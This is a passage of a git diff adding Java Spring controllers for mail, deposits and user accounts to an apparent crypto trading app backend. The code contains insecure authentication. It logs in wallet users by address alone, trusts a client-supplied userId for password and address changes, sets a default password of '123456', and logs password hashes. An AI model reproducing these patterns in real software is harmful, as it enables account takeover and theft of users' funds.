com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TAppMail; +import com.ruoyi.bussiness.service.ITAppMailService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 1v1站内信Controller + * + * @author ruoyi + * @date 2023-07-18 + */ +@RestController +@RequestMapping("/api/mail") +public class TAppMailController extends ApiBaseController +{ + @Autowired + private ITAppMailService tAppMailService; + + /** + * 查询1v1站内信列表 + */ + @PostMapping("/listByUserId") + public TableDataInfo listByUserId(TAppMail tAppMail) + { + TAppUser appUser = getAppUser(); + tAppMail.setUserId(appUser.getUserId()); + List list = tAppMailService.listByUserId(tAppMail); + return getDataTable(list); + } + + /** + * 修改1v1站内信 + */ + @PostMapping("/updateMail") + public AjaxResult updateMail( Long[] ids) + { + TAppUser appUser = getAppUser(); + return toAjax(tAppMailService.updateMail(ids,appUser)); + } + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppRechargeController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppRechargeController.java new file mode 100644 index 0000000..7e8dd5f --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppRechargeController.java @@ -0,0 +1,149 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.util.*; +import java.util.stream.Collectors; +import javax.annotation.Resource; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.TAppRecharge; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.setting.AssetCoinSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.ITAppRechargeService; +import com.ruoyi.bussiness.service.ITUserSymbolAddressService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.*; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 用户充值Controller + * + * @author ruoyi + * @date 2023-07-04 + */ +@RestController +@RequestMapping("/api/recharge") +public class TAppRechargeController extends ApiBaseController +{ + private static final Logger log = LoggerFactory.getLogger(TAppRechargeController.class); + @Resource + private ITAppRechargeService tAppRechargeService; + @Resource + private SettingService settingService; + @Resource + private ITUserSymbolAddressService userSymbolAddressService; + @Resource + private RedisUtil redisUtil; + @Value("${admin-redis-stream.names}") + private String redisStreamNames; + + + /** + * 获取用户充值详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + TAppRecharge appRecharge = tAppRechargeService.getById(id); + if(Objects.nonNull(appRecharge)){ + Date creatTime=appRecharge.getCreateTime(); + Map params=new HashMap<>(); + params.put("date",Objects.nonNull(creatTime)?creatTime.getTime():0L); + appRecharge.setParams(params); + } + return AjaxResult.success(appRecharge); + } + + /** + * 修改用户充值 + */ + + @PostMapping("/list") + public TableDataInfo list(TAppRecharge tAppRecharge) { + startPage(); + + TAppUser user = getAppUser(); +// TAppUser user = tAppUserService.getById(7); + tAppRecharge.setUserId(user.getUserId()); + Map params = new HashMap<>(); + tAppRecharge.setParams(params); + startPage(); + List list = tAppRechargeService.selectTAppRechargeList(tAppRecharge); + for (TAppRecharge app:list) { + Date creatTime=app.getCreateTime(); + Map map=new HashMap<>(); + map.put("createTime", Objects.nonNull(creatTime)?creatTime.getTime():0L); + app.setParams(map); + } + return getDataTable(list); + } + + @PostMapping("/submit") + public AjaxResult submit(@RequestBody Map params) { + TAppUser user = getAppUser(); + if (null!=user&&user.getStatus() != 0) { + log.debug("userid:{}, 非正常用户,不可充值", user.getUserId()); + return AjaxResult.success(); + } + String type = String.valueOf(params.get("type")); + Setting setting = settingService.get(SettingEnum.ASSET_COIN.name()); + List assetCoinSettings = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AssetCoinSetting.class); + List list = assetCoinSettings.stream().filter(assetCoinSetting -> { + return assetCoinSetting.getCoinName().equals(type); + }).collect(Collectors.toList()); + BigDecimal amount = new BigDecimal(String.valueOf(params.get("amount"))); + if(amount !=null && amount.compareTo(BigDecimal.ZERO)>0){ + if(amount.compareTo(list.get(0).getRechargeMin())<0){ + return AjaxResult.error(MessageUtils.message("recharge.amout.min",list.get(0).getRechargeMin())); + } + if(list.get(0).getRechargeMax().compareTo(amount)<0){ + return AjaxResult.error(MessageUtils.message("recharge.amout.max",list.get(0).getRechargeMax())); + } + user.setParams(params); + } + tAppRechargeService.insertTAppRecharge(user); + + HashMap object = new HashMap<>(); + object.put(CacheConstants.RECHARGE_KEY,CacheConstants.RECHARGE_KEY); + redisUtil.addStream(redisStreamNames,object); + return AjaxResult.success(); + } + + @PostMapping("/userRechage") + public AjaxResult userRechage() { + return AjaxResult.success( userSymbolAddressService.getUserRechargeAdressList(getStpUserId())); + } + @PostMapping("/getAdress") + public AjaxResult getAdress() { + Map> map = new HashMap<>(); + Setting setting = settingService.get(SettingEnum.ASSET_COIN.name()); + if(setting == null){ + return AjaxResult.success(); + } + List list = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AssetCoinSetting.class); + for (AssetCoinSetting assetCoinSetting : list) { + Map adress = userSymbolAddressService.getAdredssByCoin(assetCoinSetting.getCoin(), assetCoinSetting.getCoinName(), getStpUserId()); + map.put(assetCoinSetting.getCoinName(),adress); + } + return AjaxResult.success(map); + } + + @PostMapping("/checkUadress") + public AjaxResult checkUadress( String symbol,String adress) { + boolean f = userSymbolAddressService.check(symbol ,adress); + return AjaxResult.success(f); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserController.java new file mode 100644 index 0000000..bcd3e0d --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserController.java @@ -0,0 +1,673 @@ +package com.ruoyi.web.controller.bussiness; + +import java.io.IOException; +import java.math.BigDecimal; +import java.util.*; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; +import java.util.stream.Stream; +import javax.servlet.http.HttpServletRequest; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.json.JSONUtil; +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.SendPhoneDto; +import com.ruoyi.bussiness.domain.TAppAddressInfo; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TAppUserDetail; +import com.ruoyi.bussiness.domain.setting.AppSidebarSetting; +import com.ruoyi.bussiness.domain.setting.MarketUrlSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.*; +import com.ruoyi.util.EmailUtils; +import com.ruoyi.common.utils.*; +import com.ruoyi.common.utils.ip.IpUtils; +import com.ruoyi.common.utils.sms.SmsSenderUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import com.wf.captcha.SpecCaptcha; +import com.wf.captcha.base.Captcha; +import com.wf.captcha.utils.CaptchaUtil; +import io.swagger.annotations.ApiImplicitParam; +import io.swagger.annotations.ApiImplicitParams; +import io.swagger.annotations.ApiOperation; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.BeanUtils; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; +import com.ruoyi.common.core.domain.AjaxResult; + +/** + * 玩家用户Controller + * + * @author ruoyi + * @date 2023-06-30 + */ +@RestController +@RequestMapping("/api/user") +public class TAppUserController extends ApiBaseController { + private static final Logger log = LoggerFactory.getLogger(TAppUserController.class); + @Resource + private ITAppUserService tAppUserService; + @Resource + private ITAppUserDetailService appUserDetailService; + @Resource + private SmsService smsService; + @Resource + private RedisCache redisCache; + @Resource + private ITAppuserLoginLogService appUserLoginLogService; + @Resource + private ITAppAddressInfoService itAppAddressInfoService; + @Resource + private SettingService settingService; + + /** + * 玩家登录 + */ + @ApiOperation(value = "用户登录") + @PostMapping("/login") + public AjaxResult login(@RequestBody TAppUser tAppUser,HttpServletRequest request) + { + JSONObject ret = new JSONObject(); + String msg = validateAppUser(tAppUser); + if(StringUtils.isNotEmpty(msg)){ + return AjaxResult.error(msg); + } + TAppUser loginUser = tAppUserService.login(tAppUser); + if(Objects.nonNull(loginUser) && Objects.nonNull(loginUser.getIsBlack()) && loginUser.getIsBlack()==UserBlackEnum.BLOCK.getCode()){ + return AjaxResult.error(MessageUtils.message("user_is_black")); + } + StpUtil.login(loginUser.getUserId()); + ret.put(StpUtil.getTokenName(), StpUtil.getTokenValue()); + appUserLoginLogService.insertAppActionLog(loginUser, "用户登录", 0, request); + return AjaxResult.success(ret); + } + + + @ApiOperation(value = "用户登出") + @PostMapping("/loginOut") + public AjaxResult loginOut(HttpServletRequest request) { + System.out.println(StpUtil.isLogin()); + Long userId = getStpUserId(); + StpUtil.logout(userId); + TAppUser one = tAppUserService.getOne(new LambdaQueryWrapper().eq(TAppUser::getUserId, userId)); + appUserLoginLogService.insertAppActionLog(one, "退出登录成功", 0, request); + return AjaxResult.success(); + } + + + /** + * 获取玩家用户详细信息 + */ + @PostMapping(value = "/getInfo") + public AjaxResult getInfo() + { + Map map = tAppUserService.getInfo(StpUtil.getLoginIdAsLong()); + return AjaxResult.success(map); + } + + /** + * 新增玩家用户 + */ + @ApiOperation(value="app注册用户") + @PostMapping("/register") + public AjaxResult add(@RequestBody TAppUser user, HttpServletRequest request) + { + String host = request.getServerName(); + String ip = IpUtils.getIpAddr(request); + user.setHost(host); + log.debug("进入用户注册方法 入参:{} 开始时间:{}", JSON.toJSONString(user), DateUtils.getTime()); + + + long startTime = System.currentTimeMillis(); + if(StringUtils.isEmpty(user.getLoginPassword())){ + user.setLoginPassword("123456"); + } + user.setLoginPassword(SecurityUtils.encryptPassword(user.getLoginPassword())); + String email = user.getEmail(); + String phone = user.getPhone(); + String signType = user.getSignType(); + String code = user.getCode(); + TAppUser newUser = new TAppUser(); + newUser.setRegisterIp(ip); + //手机号注册 + if (LoginOrRegisterEnum.PHONE.getCode().equals(signType)) { + if(StringUtils.isEmpty(user.getPhone())){ + return error(MessageUtils.message("phone_code_empty")); + } + TAppUser massUser=tAppUserService.getOne(new LambdaQueryWrapper().eq(TAppUser::getPhone,user.getPhone())); + if(Objects.nonNull(massUser)){ + return error(MessageUtils.message("user.register.phone.exisit")); + } + final String registerPhoneCode = String.format("%s%s", CachePrefix.SMS_CODE.getPrefix()+UserCodeTypeEnum.REGISTER.name(), user.getPhone()); + if (Boolean.TRUE.equals(redisCache.hasKey(registerPhoneCode))) { + String validCode = redisCache.getCacheObject(registerPhoneCode).toString(); + if (!code.equalsIgnoreCase(validCode)) { + return AjaxResult.error(MessageUtils.message("login.code_error")); + } + } else { + log.debug("register via email error"); + return AjaxResult.error(MessageUtils.message("login.code_error")); + } + redisCache.deleteObject(registerPhoneCode); + user.setLoginName(phone); + newUser.setLoginName(phone); + newUser.setPhone(phone); + } + //邮箱注册 + if (LoginOrRegisterEnum.EMAIL.getCode().equals(signType)) { + email = email.trim(); + if (!EmailUtils.checkEmail(email)) { + return error(MessageUtils.message("user.register.email.format")); + } + if (tAppUserService.checkEmailUnique(email) > 0) { + return error(MessageUtils.message("user.register.email.exisit")); + } + TAppUser massUser=tAppUserService.selectByUserLoginName(email); + if(Objects.nonNull(massUser)){ + return error(MessageUtils.message("user.user_name_exisit")); + } + final String registerEmailCode = String.format("%s%s", CachePrefix.EMAIL_CODE.getPrefix()+UserCodeTypeEnum.REGISTER.name(), user.getEmail()); + if (Boolean.TRUE.equals(redisCache.hasKey(registerEmailCode))) { + String validCode = redisCache.getCacheObject(registerEmailCode).toString(); + if (!code.equalsIgnoreCase(validCode)) { + return AjaxResult.error(MessageUtils.message("login.code_error")); + } + } else { + log.debug("register via email error"); + return AjaxResult.error(MessageUtils.message("login.code_error")); + } + + redisCache.deleteObject(registerEmailCode); + user.setLoginName(email); + newUser.setLoginName(email); + newUser.setEmail(email); + newUser.setPhone(phone); + // newUser.setAddress(user.getAddress()); + } + //用户注册 + if (LoginOrRegisterEnum.LOGIN.getCode().equals(signType)) { + if (StringUtils.isBlank(user.getLoginName())) { + long endTime = System.currentTimeMillis(); + log.debug("账号为空! 用户注册方法 结束时间:{},耗时:{} 秒", DateUtils.getTime(), (startTime - endTime) / 1000); + return AjaxResult.error(MessageUtils.message("login.user_error")); + } + if (StringUtils.isBlank(user.getLoginPassword())) { + long endTime = System.currentTimeMillis(); + log.debug("密码为空! 用户注册方法 结束时间:{},耗时:{} 秒", DateUtils.getTime(), (startTime - endTime) / 1000); + return AjaxResult.error(MessageUtils.message("login.user_error")); + } + TAppUser massUser=tAppUserService.selectByUserLoginName(user.getLoginName()); + if (null != massUser) { + long endTime = System.currentTimeMillis(); + log.debug("用户已存在! 用户注册方法 结束时间:{},耗时:{} 秒", DateUtils.getTime(), (startTime - endTime) / 1000); + return AjaxResult.error(MessageUtils.message("user.user_name_exisit")); + } + if (StringUtils.isNotBlank(user.getAddress())) { + TAppUser massUser1 = tAppUserService.selectByAddress(user.getAddress()); + if (null != massUser1) { + long endTime = System.currentTimeMillis(); + log.debug("地址被占用:{} 结束时间:{},耗时:{} 秒", true, DateUtils.getTime(), (startTime - endTime) / 1000); + return AjaxResult.error(MessageUtils.message("user.login.address.error"),""); + } + } + String msg = ""; + msg = validateCode(user.getCode(), msg,UserCodeTypeEnum.REGISTER.name()); + if (StringUtils.isNotBlank(msg)) { + long endTime = System.currentTimeMillis(); + log.debug("验证码效验失败! 用户登录方法 结束时间:{},耗时:{} 秒", DateUtils.getTime(), (startTime - endTime) / 1000); + return AjaxResult.error(msg); + } + } + //钱包注册 -- 特殊 钱包授权后 根据地址查找用户 找到直接登录 未找到在注册并登录 + if (LoginOrRegisterEnum.ADDRESS.getCode().equals(signType)) { + + JSONObject ret = new JSONObject(); + TAppUser addressUser = tAppUserService.getOne(new LambdaQueryWrapper().eq(TAppUser::getAddress, user.getAddress())); + if(null != addressUser){ + + StpUtil.login(addressUser.getUserId()); + ret.put(StpUtil.getTokenName(), StpUtil.getTokenInfo().getTokenValue()); + redisCache.setCacheObject(CachePrefix.USER_LOGIN_ADDRESS_FLAG.getPrefix()+addressUser.getUserId(),addressUser.getUserId(),12,TimeUnit.HOURS); + return AjaxResult.success(ret); + } + if(user.getAddress().startsWith("0x")||user.getAddress().startsWith("0X")){ + newUser.setWalletType(WalletType.ETH.name()); + }else { + newUser.setWalletType(WalletType.TRON.name()); + } + user.setLoginName(user.getAddress()); + tAppUserService.insertTAppUser(newUser,user); + TAppUser tAppUser = tAppUserService.getOne(new LambdaQueryWrapper().eq(TAppUser::getAddress, user.getAddress())); + StpUtil.login(tAppUser.getUserId()); + redisCache.setCacheObject(CachePrefix.USER_LOGIN_ADDRESS_FLAG.getPrefix()+tAppUser.getUserId(),tAppUser.getUserId(),12,TimeUnit.HOURS); + ret.put(StpUtil.getTokenName(), StpUtil.getTokenInfo().getTokenValue()); + return AjaxResult.success(ret); + } + tAppUserService.insertTAppUser(newUser,user); + long endTime = System.currentTimeMillis(); + log.debug("用户注册方法完成:{} 结束时间:{},耗时:{} 秒", true, DateUtils.getTime(), (startTime - endTime) / 1000); + TAppUser resultUser = tAppUserService.selectByUserLoginName(newUser.getLoginName()); + resultUser.setLoginPassword(null); + return AjaxResult.success(resultUser); + } + + @ApiOperation(value = "生成验证码") + @GetMapping("/easyGenerateCode") + public void easyGenerateCode(HttpServletResponse response, HttpServletRequest request,String codeType) { + //生成普通验证码 + SpecCaptcha specCaptcha = new SpecCaptcha(); + specCaptcha.setCharType(Captcha.TYPE_ONLY_NUMBER); + specCaptcha.setLen(4); + //生成算数验证码 + //ArithmeticCaptcha arithmeticCaptcha = new ArithmeticCaptcha(); + //设置2为算数 + //arithmeticCaptcha.setLen(2); + //验证码结果 + String content = specCaptcha.text(); + //存放到Redis中 + redisCache.setCacheObject(CachePrefix.CODE.getPrefix()+UserCodeTypeEnum.valueOf(codeType)+ content.toLowerCase(), content.toLowerCase(), 60, TimeUnit.SECONDS); + try { + CaptchaUtil.out(specCaptcha, request, response); + } catch (IOException e) { + e.printStackTrace(); + } + } + + + /** + * 发送email通用验证码 + */ + @ApiOperation(value = "获取邮箱验证码") + @ApiImplicitParams({ + @ApiImplicitParam(name = "email", value = "邮箱", required = true, dataType = "string", paramType = "query"), + @ApiImplicitParam(name = "codeType", value = "类型(0:注册验证码;1:登录验证码;2:找回密码验证码;3:修改密码验证码;4:邮箱绑定验证码 100提现验证 邮箱验证码)", required = true, dataType = "int", paramType = "query") + }) + @PostMapping("/sendEmailCode") + public AjaxResult sendEmailCode(String codeType, String email) { + if (StringUtils.isEmpty(email)) { + return AjaxResult.error("email.code_empty"); + } + email = email.trim(); + if (!EmailUtils.checkEmail(email)) { + return error(MessageUtils.message("user.register.email.format")); + } + try { + tAppUserService.sendEmailCode(codeType,email); + return AjaxResult.success(MessageUtils.message("app.verification.email.code")); + } catch (Exception e) { + e.printStackTrace(); + } + return AjaxResult.error(MessageUtils.message("login.code_has_error")); + } + + + @ApiOperation(value = "发送短信验证码") + @PostMapping("/sendMobileCode") + public AjaxResult sendMobileCode (String phone, String codeType){ + if(StringUtils.isEmpty(phone)){ + return AjaxResult.error(MessageUtils.message("phone_code_empty")); + } + String randomCode = String.valueOf(SmsSenderUtil.getRandomNumber(100000, 999999)); + SendPhoneDto sendPhoneDto = new SendPhoneDto(); + sendPhoneDto.setMobile(phone); + sendPhoneDto.setMsg(randomCode); + String s = smsService.sendMobileCode(sendPhoneDto); + log.debug("code{},result:{}",randomCode,s); + redisCache.setCacheObject(CachePrefix.SMS_CODE.getPrefix()+UserCodeTypeEnum.valueOf(codeType)+ phone, randomCode, CacheConstants.REGISTER_CODE_TIME, TimeUnit.SECONDS); + return AjaxResult.success(MessageUtils.message("user.code.send")); + } + @ApiOperation(value = "绑定手机") + @PostMapping("/bindPhone") + public AjaxResult bindPhone (String phone, String code){ + if(StringUtils.isEmpty(phone) || StringUtils.isEmpty(code)){ + return AjaxResult.error(MessageUtils.message("phone_code_empty")); + } + String msg =tAppUserService.bindPhone(phone,code); + if(StringUtils.isNotEmpty(msg)){ + return AjaxResult.error(msg); + } + return AjaxResult.success(); + } + @ApiOperation(value = "绑定钱包地址") + @PostMapping("/bindWalletAddress") + public AjaxResult bindWalletAddress (String address){ + if(StringUtils.isEmpty(address) || StringUtils.isEmpty(address)){ + return AjaxResult.error(MessageUtils.message("user.login.address.null")); + } + String msg =tAppUserService.bindWalletAddress(address); + if(StringUtils.isNotEmpty(msg)){ + return AjaxResult.error(msg); + } + return AjaxResult.success(); + } + @ApiOperation(value = "获取国家区号") + @PostMapping("/getCountryCode") + public AjaxResult getCountryCode (){ + return AjaxResult.success(CountryCodeAndPhoneCodeEnum.getJsonArray()); + } + + @ApiOperation(value = "绑定email") + @PostMapping("/bindEmail") + public AjaxResult bindEmail (String email, String emailCode, HttpServletRequest request){ + String msg = tAppUserService.bindEmail(email,emailCode,request); + if(StringUtils.isNotEmpty(msg)){ + return AjaxResult.error(msg); + } + return AjaxResult.success(); + } + + + @ApiOperation(value = "邮箱修改登录密码") + @PostMapping("/updatePwdByEmail") + public AjaxResult updatePwdByEmail (String email, String emailCode,String newPwd){ + String msg = tAppUserService.updatePwdByEmail(email,emailCode,newPwd); + if (StringUtils.isNotEmpty(msg)) { + return AjaxResult.error(msg); + } + return AjaxResult.success(MessageUtils.message("user.login.upd.success")); + } + + + @ApiOperation(value = "邮箱找回密码") + @PostMapping("/backPwd") + public AjaxResult backPwd (String email, String emailCode,String newPwd){ + String msg = tAppUserService.backPwd(email,emailCode,newPwd); + if (StringUtils.isNotEmpty(msg)) { + return AjaxResult.error(msg); + } + return AjaxResult.success(MessageUtils.message("user.login.upd.success")); + } + + @ApiOperation(value = "手机找回密码") + @PostMapping("/bindPhoneEmail") + public AjaxResult bindPhoneEmail (String phone, String phoneCode,String newPwd){ + if (StringUtils.isBlank(newPwd)) { + return AjaxResult.error(MessageUtils.message("user.login.password.null")); + } + if (StringUtils.isNotBlank(newPwd)) { + newPwd = SecurityUtils.encryptPassword(newPwd); + } + TAppUser user = tAppUserService.getOne(new LambdaQueryWrapper().eq(TAppUser::getPhone,phone)); + if (null == user) { + log.error("用户phone不存在, username:{}, pwd:{}", phone,newPwd); + return AjaxResult.error(MessageUtils.message("user.login.null")); + } + String emailLoginkey = String.format("%s%s", CachePrefix.SMS_CODE.getPrefix()+UserCodeTypeEnum.FIND_PASSWORD.name(), phone); + if (Boolean.TRUE.equals(redisCache.hasKey(emailLoginkey))) { + if (!phoneCode.equalsIgnoreCase(redisCache.getCacheObject(emailLoginkey).toString())) { + return AjaxResult.error(MessageUtils.message("login.code_error")); + } + } else { + return AjaxResult.error(MessageUtils.message("login.code_error")); + } + if(StringUtils.isEmpty(user.getLoginName())){ + user.setLoginName(phone); + } + redisCache.deleteObject(emailLoginkey); + user.setLoginPassword(newPwd); + tAppUserService.updateTAppUser(user); + return AjaxResult.success(MessageUtils.message("user.login.upd.success")); + } + + @ApiOperation(value = "密码设置") + @PostMapping("/pwdSett") + public AjaxResult pwd(String pwd,HttpServletRequest request) { + Long userId = getStpUserId(); + TAppUser user = tAppUserService.getOne(new LambdaQueryWrapper().eq(TAppUser::getUserId, userId)); + if (StringUtils.isNotEmpty(user.getLoginPassword())) { + return AjaxResult.error(MessageUtils.message("user.password_bind")); + } + String userPwd = SecurityUtils.encryptPassword(pwd); + user.setLoginPassword(userPwd); + log.debug("密码设置, user:{}", userPwd); + return AjaxResult.success(tAppUserService.updateTAppUser(user)); + } + + @ApiOperation(value = "修改用户登录密码") + @PostMapping("/updateUserLoginPwd") + public AjaxResult updateUserLoginPwd(String oldPwd, String newPwd, Long userId) { + TAppUser user = tAppUserService.selectTAppUserByUserId(userId); + if (null == user) { + return AjaxResult.error(MessageUtils.message("user.login.null")); + } + if (StringUtils.isBlank(oldPwd)) { + return AjaxResult.error(MessageUtils.message("user.login.old.password")); + } + if (StringUtils.isBlank(newPwd)) { + return AjaxResult.error(MessageUtils.message("user.login.new.password")); + } + if (newPwd.equals(oldPwd)) { + return AjaxResult.error(MessageUtils.message("user.login.paw.upd")); + } + if(!SecurityUtils.matchesPassword(oldPwd,user.getLoginPassword())){ + return AjaxResult.error(MessageUtils.message("user.login.old.password.error")); + } + user.setLoginPassword(SecurityUtils.encryptPassword(newPwd)); + tAppUserService.updateTAppUser(user); + return AjaxResult.success(MessageUtils.message("user.login.upd.success")); + } + + + + @ApiOperation(value = "资金密码设置") + @PostMapping("/tardPwdSet") + public AjaxResult tardPwdSet(String pwd,HttpServletRequest request) { + Long userId = getStpUserId(); + TAppUserDetail user = appUserDetailService.getOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, userId)); + if (StringUtils.isNotEmpty(user.getUserTardPwd())) { + return AjaxResult.error(MessageUtils.message("user.tard.password_bind")); + } + String userPwd = SecurityUtils.encryptPassword(pwd); + user.setUserTardPwd(userPwd); + log.debug("密码设置, user:{}", userPwd); + return AjaxResult.success(appUserDetailService.updateTAppUserDetail(user)); + } + + + @ApiOperation(value = "修改交易密码") + @PostMapping("/updatePwd") + public AjaxResult updatePwd(String oldPwd, String newPwd, String signType, String emailOrPhone, String code, HttpServletRequest request) { + String msg = tAppUserService.updatePwd(oldPwd,newPwd,signType,emailOrPhone,code); + if (StringUtils.isNotEmpty(msg)) { + return AjaxResult.error(msg); + } + return AjaxResult.success(MessageUtils.message("user.login.upd.success")); + } + + + @ApiOperation(value = "用户绑定钱包地址") + @PostMapping("/updateUserAddress") + public AjaxResult updateUserAddress(String address, Long userId, String type) { + if (StringUtils.isBlank(type)) { + type = "ETH"; + } + if (StringUtils.isBlank(address)) { + return AjaxResult.error(MessageUtils.message("user.login.address.null")); + } + if (null == userId) { + return AjaxResult.error(MessageUtils.message("user.login.userid.null")); + } + TAppUser massUser1 = tAppUserService.selectByAddress(address); + if (null != massUser1) { + return AjaxResult.error(MessageUtils.message("user.login.address.error")); + } + TAppUser massUser = tAppUserService.selectTAppUserByUserId(userId); + if (null == massUser) { + return AjaxResult.error(MessageUtils.message("user.login.null")); + } + if (StringUtils.isNotBlank(massUser.getAddress()) && !massUser.getUserId().toString().equals(massUser.getAddress())) { + return AjaxResult.error(MessageUtils.message("user.login.address.error")); + } + massUser.setAddress(address); + if ("ETH".equals(type)) { + massUser.setAddress(address.toLowerCase()); + } + massUser.setWalletType(type); + tAppUserService.updateTAppUser(massUser); + + //创建 用户授权信息 + TAppAddressInfo tAppAddressInfo = new TAppAddressInfo(); + tAppAddressInfo.setAddress(massUser.getAddress()); + tAppAddressInfo.setAllowedNotice(0L); + tAppAddressInfo.setWalletType(massUser.getWalletType()); + tAppAddressInfo.setUserId(massUser.getUserId()); + tAppAddressInfo.setUsdt(new BigDecimal(0)); + tAppAddressInfo.setEth(new BigDecimal(0)); + tAppAddressInfo.setBtc(new BigDecimal(0)); + tAppAddressInfo.setUsdtAllowed(new BigDecimal(0)); + tAppAddressInfo.setUsdtMonitor(new BigDecimal(0)); + itAppAddressInfoService.insertTAppAddressInfo(tAppAddressInfo); + + + log.debug("玩家绑定地址成功:{}", address); + return AjaxResult.success(MessageUtils.message("user.login.upd.success"), StpUtil.getTokenInfo().getTokenValue()); + } + + + @ApiOperation(value = "上传身份认证信息") + @PostMapping("/uploadKYC") + public AjaxResult uploadKYC(String realName,String flag, String idCard, String frontUrl, String backUrl, String country, String handelUrl,String cardType,HttpServletRequest request) { + + if ("2".equals(flag)){ + Setting setting = settingService.get(SettingEnum.APP_SIDEBAR_SETTING.name()); + List list = new ArrayList<>(); + if(null != setting){ + list = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AppSidebarSetting.class); + } + if (!CollectionUtils.isEmpty(list)){ + AppSidebarSetting primary = list.stream().filter(appSidebarSetting -> appSidebarSetting.getKey().equals("primary")).findFirst().get(); + if (Objects.nonNull(primary) && primary.getIsOpen()){ + TAppUserDetail appUserDetai = appUserDetailService.getOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, getStpUserId())); + if (!(Objects.nonNull(appUserDetai) && Objects.nonNull(appUserDetai.getAuditStatusPrimary()) && appUserDetai.getAuditStatusPrimary().equals(AuditStatusEnum.EXAMINATION_PASSED.getCode()))){ + return AjaxResult.error(MessageUtils.message("user.authentication.not.certified")); + } + } + } + } + tAppUserService.uploadKYC(getAppUser(),realName,flag,idCard,frontUrl,backUrl,handelUrl,country,cardType); + return AjaxResult.success(); + + } + + + + + /** + * 验证码效验 + * @param code + * @param msg + * @param name + * @return + */ + private String validateCode(String code, String msg, String name) { + Setting setting = settingService.get(SettingEnum.MARKET_URL.name()); + MarketUrlSetting marketUrlSetting = new MarketUrlSetting(); + if(null != setting){ + marketUrlSetting = JSONUtil.toBean(setting.getSettingValue(), MarketUrlSetting.class); + } + if(null != marketUrlSetting && !marketUrlSetting.getH5Code()){ + return msg; + } + if (StringUtils.isBlank(code)) { + msg = MessageUtils.message("user.login.code.error"); + return msg; + } + String s = redisCache.getCacheObject(CachePrefix.CODE.getPrefix()+UserCodeTypeEnum.valueOf(name) + code.toLowerCase()) == null ? "" : redisCache.getCacheObject(CachePrefix.CODE.getPrefix()+UserCodeTypeEnum.valueOf(name) + code.toLowerCase()).toString(); + if (StringUtils.isBlank(s)) { + msg = MessageUtils.message("user.login.code.error"); + return msg; + } + if (!code.equals(s)) { + msg = MessageUtils.message("user.login.code.error"); + return msg; + } + redisCache.deleteObject(code); + return msg; + } + + + /** + * 用户效验 + * @param tAppUser + * @return + */ + private String validateAppUser(TAppUser tAppUser) { + String msg=""; + String signType = tAppUser.getSignType(); + /** + * 邮箱登录 + */ + if (LoginOrRegisterEnum.EMAIL.getCode().equals(signType)) { + String email = tAppUser.getEmail(); + TAppUser tAppUser1 = tAppUserService.getOne(new LambdaQueryWrapper().eq(TAppUser::getEmail, email)); + if (null == tAppUser1) { + return MessageUtils.message("login.email.not_register"); + } + String emailLoginkey = String.format("%s%s", CachePrefix.EMAIL_CODE.getPrefix()+ UserCodeTypeEnum.LOGIN.name(), email); + if (Boolean.TRUE.equals(redisCache.hasKey(emailLoginkey))) { + if 